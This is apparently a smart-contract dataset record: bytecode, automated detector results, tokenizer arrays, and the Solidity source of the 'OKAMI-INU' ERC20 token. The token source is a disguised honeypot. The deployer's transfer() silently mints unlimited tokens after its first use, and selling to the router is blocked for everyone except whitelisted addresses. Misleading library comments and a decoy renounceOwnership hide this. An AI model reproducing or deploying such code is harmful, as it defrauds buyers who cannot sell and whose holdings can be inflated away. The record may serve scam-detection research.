0295610423366004611d5c565b610ac6565b34801561043457600080fd5b5061031d610443366004611e94565b610b6f565b34801561045457600080fd5b506102e5610463366004611d5c565b610bac565b34801561047457600080fd5b5061029560095481565b34801561048a57600080fd5b50610295610499366004611edc565b610bbe565b3480156104aa57600080fd5b5061031d610c0c565b3480156104bf57600080fd5b50600b5461026b9060ff1681565b3480156104d957600080fd5b50610295600481565b3480156104ee57600080fd5b5061031d6104fd366004611d91565b610c42565b34801561050e57600080fd5b506007546001600160a01b03166102e5565b34801561052c57600080fd5b5061031d61053b366004611d5c565b610d73565b34801561054c57600080fd5b506102b8610da2565b61031d610563366004611d5c565b610db1565b34801561057457600080fd5b5061031d610583366004611ef7565b610e67565b34801561059457600080fd5b5061031d610efc565b3480156105a957600080fd5b5061031d6105b8366004611f33565b610f43565b3480156105c957600080fd5b506102b86105d8366004611d5c565b610f7d565b61031d6105eb366004611fae565b610fb1565b3480156105fc57600080fd5b5061029560c881565b34801561061157600080fd5b50610295610620366004611edc565b61113c565b34801561063157600080fd5b5061026b61064036600461205f565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561067a57600080fd5b50610295600a5481565b34801561069057600080fd5b50610295611d9981565b3480156106a657600080fd5b5061031d6106b5366004611d5c565b611147565b3480156106c657600080fd5b5061031d6106d5366004611edc565b611176565b3480156106e657600080fd5b5061031d61120e565b3480156106fb57600080fd5b5061031d61070a366004611d5c565b61124c565b60006001600160e01b031982166380ac58cd60e01b148061074057506001600160e01b03198216635b5e139f60e01b145b8061075b57506001600160e01b0319821663780e9d6360e01b145b8061077657506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461078b90612092565b80601f01602080910402602001604051908101604052809291908181526020018280546107b790612092565b80156108045780601f106107d957610100808354040283529160200191610804565b820191906000526020600020905b8154815290600101906020018083116107e757829003601f168201915b5050505050905090565b60006108198261127b565b610836576040516333d1c03960e21b815260040160405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061085d82610bac565b9050806001600160a01b0316836001600160a01b0316036108915760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b038216148015906108b157506108af8133610640565b155b156108cf576040516367d9dca160e11b815260040160405180910390fd5b6108da8383836112af565b505050565b6007546000906001600160a01b031633146109155760405162461bcd60e51b815260040161090c906120cc565b60405180910390fd5b504790565b6000546001600160801b03600160801b82048116918116919091031690565b6108da83838361130b565b600061094f83610bbe565b821061096e576040516306ed618760e11b815260040160405180910390fd5b600080546001600160801b03169080805b83811015610a3857600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff1615801592820192909252906109e65750610a30565b80516001600160a01b0316156109fb57805192505b876001600160a01b0316836001600160a01b031603610a2e57868403610a275750935061077692505050565b6001909301925b505b60010161097f565b50600080fd5b610a4b60c8611d99612117565b81565b6007546001600160a01b03163314610a785760405162461bcd60e51b815260040161090c906120cc565b6040514790339082156108fc029083906000818181858888f19350505050158015610aa7573d6000803e3d6000fd5b5050565b6108da83838360405180602001604052806000815250610f43565b600080546001600160801b031681805b82811015610b5557600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290610b4c57858303610b455750949350505050565b6001909201915b50600101610ad6565b506040516329c8c00760e21b815260040160405180910390fd5b6007546001600160a01b03163314610b995760405162461bcd60e51b815260040161090c906120cc565b8051610aa790600c906020840190611c1e565b6000610bb782611528565b5192915050565b60006001600160a01b038216610be7576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600460205260409020546001600160401b031690565b6007546001600160a01b03163314610c365760405162461bcd60e51b815260040161090c906120cc565b610c40600061164a565b565b6007546001600160a01b03163314610c6c5760405162461bcd60e51b815260040161090c906120cc565b6000610c7661091a565b905060008211610cbb5760405162461bcd60e51b815260206004820152601060248201526f105b5bdd5b9d081d1bdbc81cdb585b1b60821b604482015260640161090c565b600a821115610d045760405162461bcd60e51b815260206004820152601560248201527409ac2f040626040e8ded6cadce640e0cae440e8e4f605b1b604482015260640161090c565b610d1160c8611d99612117565b610d1b8383612117565b1115610d695760405162461bcd60e51b815260206004820152601d60248201527f507572636861736520657863656564696e67206d617820737570706c79000000604482015260640161090c565b6108da838361169c565b6007546001600160a01b03163314610d9d5760405162461bcd60e51b815260040161090c906120cc565b600955565b60606002805461078b90612092565b600b54610100900460ff16610df55760405162461bcd60e51b815260206004820152600a60248201526910d85b89dd081b5a5b9d60b21b604482015260640161090c565b3481600954610e04919061212f565b14610e515760405162461bcd60e51b815260206004820152601b60248201527f53656e742065746865722076616c20697320696e636f72726563740000000000604482015260640161090c565b610e5a816116b6565b610e64338261169c565b50565b336001600160a01b03831603610e905760405163b06307db60e01b815260040160405180910390fd5b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6007546001600160a01b03163314610f265760405162461bcd60e51b815260040161090c906120cc565b600b805461ff001981166101009182900460ff1615909102179055565b610f4e84848461130b565b610f5a848484846117a9565b610f77576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6060600c610f8a836118ac565b604051602001610f9b92919061216a565b6040516020818303038152906040529050919050565b600b5460ff16610ff05760405162461bcd60e51b815260206004820152600a60248201526910d85b89dd081b5a5b9d60b21b604482015260640161090c565b3482600854610fff919061212f565b1461104c5760405162461bcd60e51b815260206004820152601b60248201527f53656e742065746865722076616c20697320696e636f72726563740000000000604482015260640161090c565b8161105633610bbe565b611061906004612224565b10156110a55760405162461bcd60e51b8152602060048201526013602482015272086c2dce840dad2dce840e8d0c2e840daeac6d606b1b604482015260640161090c565b6110ae826116b6565b6040516bffffffffffffffffffffffff193360601b1660208201526000906034016040516020818303038152906040528051906020012090506110f482600a54836119ac565b6111325760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015260640161090c565b6108da338461169c565b6000610776826119c2565b6007546001600160a01b031633146111715760405162461bcd60e51b815260040161090c906120cc565b600a55565b6007546001600160a01b031633146111a05760405162461bcd60e51b815260040161090c906120cc565b6001600160a01b0381166112055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161090c565b610e648161164a565b6007546001600160a01b031633146112385760405162461bcd60e51b815260040161090c906120cc565b600b805460ff19811660ff90911615179055565b6007546001600160a01b031633146112765760405162461bcd60e51b815260040161090c906120cc565b600855565b600080546001600160801b031682108015610776575050600090815260036020526040902054600160e01b900460ff161590565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061131682611528565b80519091506000906001600160a01b0316336001600160a01b03161480611344575081516113449033610640565b8061135f5750336113548461080e565b6001600160a01b0316145b90508061137f57604051632ce44b5f60e11b815260040160405180910390fd5b846001600160a01b031682600001516001600160a01b0316146113b45760405162a1148160e81b815260040160405180910390fd5b6001600160a01b0384166113db57604051633a954ecd60e21b815260040160405180910390fd5b6113eb60008484600001516112af565b6001600160a01b038581166000908152600460209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600390945282852080546001600160e01b031916909417600160a01b4290921691909102179092559086018083529120549091166114de576000546001600160801b03168110156114de57825160008281526003602090815260409091208054918601516001600160401b0316600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b60408051606081018252600080825260208201819052918101829052905482906001600160801b031681101561163157600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff1615159181018290529061162f5780516001600160a01b0316156115c6579392505050565b5060001901600081815260036020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff161515928101929092521561162a579392505050565b6115c6565b505b604051636f96cda160e11b815260040160405180910390fd5b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610aa7828260405180602001604052806000815250611a17565b60006116c061091a565b9050600082116117055760405162461bcd60e51b815260206004820152601060248201526f105b5bdd5b9d081d1bdbc81cdb585b1b60821b604482015260640161090c565b600a82111561174e5760405162461bcd60e51b815260206004820152601560248201527409ac2f040626040e8ded6cadce640e0cae440e8e4f605b1b604482015260640161090c565b611d9961175b8383612117565b1115610aa75760405162461bcd60e51b815260206004820152601d60248201527f507572636861736520657863656564696e67206d617820737570706c79000000604482015260640161090c565b60006001600160a01b0384163b156118a057604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906117ed90339089908890889060040161223b565b6020604051808303816000875af1925050508015611828575060408051601f3d908101601f1916820190925261182591810190612278565b60015b611886573d808015611856576040519150601f19603f3d011682016040523d82523d6000602084013e61185b565b606091505b50805160000361187e576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506118a4565b5060015b949350505050565b6060816000036118d35750506040805180820190915260018152600360fc1b602082015290565b8160005b81156118fd57806118e781612295565b91506118f69050600a836122c4565b91506118d7565b6000816001600160401b0381111561191757611917611df7565b6040519080825280601f01601f191660200182016040528015611941576020820181803683370190505b5090505b84156118a457611956600183612224565b9150611963600a866122d8565b61196e906030612117565b60f81b818381518110611983576119836122ec565b60200101906001600160f81b031916908160001a9053506119a5600a866122c4565b9450611945565b6000826119b98584611a24565b14949350505050565b60006001600160a01b0382166119eb576040516335ebb31960e01b815260040160405180910390fd5b506001600160a01b0316600090815260046020526040902054600160401b90046001600160401b031690565b6108da8383836001611a98565b600081815b8451811015611a90576000858281518110611a4657611a466122ec565b60200260200101519050808311611a6c5760008381526020829052604090209250611a7d565b600081815260208490526040902092505b5080611a8881612295565b915050611a29565b509392505050565b6000546001600160801b03166001600160a01b038516611aca57604051622e076360e81b815260040160405180910390fd5b83600003611aeb5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260046020908152604080832080546001600160801b031981166001600160401b038083168c018116918217600160401b67ffffffffffffffff1990941690921783900481168c018116909202179091558584526003909252822080546001600160e01b031916909317600160a01b42909216919091021790915581905b85811015611bf85760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4838015611bce5750611bcc60008884886117a9565b155b15611bec576040516368d2bf6b60e11b815260040160405180910390fd5b60019182019101611b77565b50600080546001600160801b0319166001600160801b0392909216919091179055611521565b828054611c2a90612092565b90600052602060002090601f016020900481019282611c4c5760008555611c92565b82601f10611c6557805160ff1916838001178555611c92565b82800160010185558215611c92579182015b82811115611c92578251825591602001919060010190611c77565b50611c9e929150611ca2565b5090565b5b80821115611c9e5760008155600101611ca3565b6001600160e01b031981168114610e6457600080fd5b600060208284031215611cdf57600080fd5b8135611cea81611cb7565b9392505050565b60005b83811015611d0c578181015183820152602001611cf4565b83811115610f775750506000910152565b60008151808452611d35816020860160208601611cf1565b601f01601f19169290920160200192915050565b602081526000611cea6020830184611d1d565b600060208284031215611d6e57600080fd5b5035919050565b80356001600160a01b0381168114611d8c57600080fd5b919050565b60008060408385031215611da457600080fd5b611dad83611d75565b946020939093013593505050565b600080600060608486031215611dd057600080fd5b611dd984611d75565b9250611de760208501611d75565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b0381118282101715611e3557611e35611df7565b604052919050565b60006001600160401b03831115611e5657611e56611df7565b611e69601f8401601f1916602001611e0d565b9050828152838383011115611e7d57600080fd5b828260208301376000602084830101529392505050565b600060208284031215611ea657600080fd5b81356001600160401b03811115611ebc57600080fd5b8201601f81018413611ecd57600080fd5b6118a484823560208401611e3d565b600060208284031215611eee57600080fd5b611cea82611d75565b60008060408385031215611f0a57600080fd5b611f1383611d75565b915060208301358015158114611f2857600080fd5b809150509250929050565b60008060008060808587031215611f4957600080fd5b611f5285611d75565b9350611f6060208601611d75565b92506040850135915060608501356001600160401b03811115611f8257600080fd5b8501601f81018713611f9357600080fd5b611fa287823560208401611e3d565b91505092959194509250565b60008060408385031215611fc157600080fd5b823591506020808401356001600160401b0380821115611fe057600080fd5b818601915086601f830112611ff457600080fd5b81358181111561200657612006611df7565b8060051b9150612017848301611e0d565b818152918301840191848101908984111561203157600080fd5b938501935b8385101561204f57843582529385019390850190612036565b8096505050505050509250929050565b6000806040838503121561207257600080fd5b61207b83611d75565b915061208960208401611d75565b90509250929050565b600181811c908216806120a657607f821691505b6020821081036120c657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000821982111561212a5761212a612101565b500190565b600081600019048311821515161561214957612149612101565b500290565b60008151612160818560208601611cf1565b9290920192915050565b600080845481600182811c91508083168061218657607f831692505b602080841082036121a557634e487b7160e01b86526022600452602486fd5b8180156121b957600181146121ca576121f7565b60ff198616895284890196506121f7565b60008b81526020902060005b868110156121ef5781548b8201529085019083016121d6565b505084890196505b50505050505061221b61220a828661214e565b64173539b7b760d91b815260050190565b95945050505050565b60008282101561223657612236612101565b500390565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061226e90830184611d1d565b9695505050505050565b60006020828403121561228a57600080fd5b8151611cea81611cb7565b6000600182016122a7576122a7612101565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826122d3576122d36122ae565b500490565b6000826122e7576122e76122ae565b500690565b634e487b7160e01b600052603260045260246000fdfea26469706673582212209724549345a49c8b7a436a50659bbbfa4da4435fee39ec8d13ebd697fa3f335f64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 2475, 18939, 2497, 8889, 2581, 2497, 28756, 2278, 22610, 6679, 16409, 2487, 26337, 2629, 2497, 12376, 2546, 2575, 6679, 12521, 17465, 18939, 2620, 2094, 2549, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,854
0x95d3772141d280d6c3bd5840997a883f429253ad
/* Okami-Inu.net */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.10; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function begintrading (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function botban(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function setSupply(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { botban(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract Okami is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 5000000000 * 10 ** 18; constructor () ERC20('OKAMI-INU','Okami') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063395093511161009757806395d89b411161006657806395d89b4114610228578063a457c2d714610230578063a9059cbb14610243578063dd62ed3e1461025657600080fd5b806339509351146101b957806370a08231146101cc578063715018a6146101f55780638da5cb5b146101fd57600080fd5b80631d58a824116100d35780631d58a8241461014d5780631fdc69c81461016257806323b872dd14610175578063313ce5671461018857600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610c78565b60405180910390f35b61012b610126366004610ce9565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61016061015b366004610d29565b610338565b005b610160610170366004610dee565b6103db565b61012b610183366004610e09565b610464565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b6101c7366004610ce9565b61052a565b61013f6101da366004610dee565b6001600160a01b031660009081526004602052604090205490565b610160610561565b600254610210906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b610102610612565b61012b61023e366004610ce9565b610621565b61012b610251366004610ce9565b6106d4565b61013f610264366004610e45565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606007805461029e90610e78565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610e78565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e3384846107e0565b5060015b92915050565b6000546001600160a01b031633146103975760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b81518110156103d7576103c58282815181106103b8576103b8610eb3565b6020026020010151610938565b806103cf81610edf565b91505061039a565b5050565b6000546001600160a01b031633146104355760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161038e565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60006104718484846109b6565b6001600160a01b03841660009081526005602090815260408083203384529091529020548281101561050b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000606482015260840161038e565b61051f853361051a8685610efa565b6107e0565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e91859061051a908690610f11565b6000546001600160a01b031633146105bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161038e565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a36002805473ffffffffffffffffffffffffffffffffffffffff19169055565b60606008805461029e90610e78565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156106bb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161038e565b6106ca338561051a8685610efa565b5060019392505050565b600080546001600160a01b0316331480156106f6575060095460ff1615156001145b1561071957610707335b84846109b6565b506009805460ff191690556001610332565b6000546001600160a01b031633148015610736575060095460ff16155b156107cf576006546107489083610c12565b6006556001600160a01b03831660009081526004602052604090205461076e9083610c12565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf9086815260200190565b60405180910390a3506001610332565b6107d833610700565b506001610332565b6001600160a01b03831661085b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161038e565b6001600160a01b0382166108d75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161038e565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b031633146109925760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161038e565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6001600160a01b038316610a325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161038e565b6001600160a01b038216610aae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e